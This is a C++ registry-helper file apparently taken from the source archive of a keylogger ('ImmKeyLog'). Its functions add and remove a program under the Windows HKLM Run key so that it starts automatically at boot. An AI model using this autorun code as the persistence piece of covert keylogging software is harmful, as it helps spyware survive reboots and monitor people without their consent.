www.pudn.com > ImmKeyLog_src_6_26.rar > RegEdit.cpp


#include "RegEdit.h" 
/* 
LPCTSTR QuerryKey( 
	HKEY hKey, 
	LPCTSTR lpSubHKey, 
	LPCTSTR Key ) 
{ 
	return NULL; 
} 
 
BOOL CreateKey( 
	HKEY hKey, 
	LPSTR lpSubHKey, 
	LPCTSTR Name, 
	LPCTSTR Value) 
{ 
	HKEY hK; 
	//lstrcat(lpSubHKey,Name); 
	long res = RegCreateKey(hKey, lpSubHKey , &hK); 
	res = RegSetValueEx( hK , Name , NULL , REG_SZ ,LPBYTE(Value) , lstrlen(Value) + 1 ); 
	if( res != ERROR_SUCCESS) { 
		return FALSE; 
	} 
	return TRUE; 
} 
 
BOOL DeleteKey( 
	HKEY hKey, 
	LPCTSTR lpSubHKey, 
	LPCTSTR Key ) 
{ 
	return TRUE; 
} 
*/ 
 
BOOL AddAutoRun(LPCTSTR DisplayName , LPCTSTR fullPathName) 
{ 
	HKEY hKey; 
	long ret0 , ret1; 
	BYTE str[256]; 
	DWORD cbData = 80; 
	DWORD type = REG_SZ; 
	LPCTSTR runKey = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; 
 
	ret0 = RegOpenKeyEx(HKEY_LOCAL_MACHINE , runKey , NULL , KEY_READ , &hKey); 
	if( ret0 != ERROR_SUCCESS) return FALSE; 
	ret1 = RegQueryValueEx(hKey, DisplayName, NULL, &type, str, &cbData); 
	if( ret1 == ERROR_SUCCESS) return FALSE; 
	ret0 = RegOpenKeyEx(HKEY_LOCAL_MACHINE , runKey , NULL , KEY_WRITE , &hKey); 
	if( ret0 != ERROR_SUCCESS) return FALSE; 
	ret1 = RegSetValueEx(hKey, DisplayName, NULL, REG_SZ, LPBYTE(fullPathName), lstrlen(fullPathName) + 1); 
	return ( ret1 == ERROR_SUCCESS); 
} 
 
BOOL DeleteAutoRun(LPCTSTR DisplayName) 
{ 
	HKEY hKey; 
	long ret0 , ret1; 
	LPCTSTR runKey = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; 
	ret0 = RegOpenKeyEx(HKEY_LOCAL_MACHINE , runKey , NULL , KEY_WRITE , &hKey); 
	if( ret0 != ERROR_SUCCESS) return FALSE; 
	ret1 = RegDeleteValue(hKey, DisplayName); 
	return ( ret1 == ERROR_SUCCESS); 
}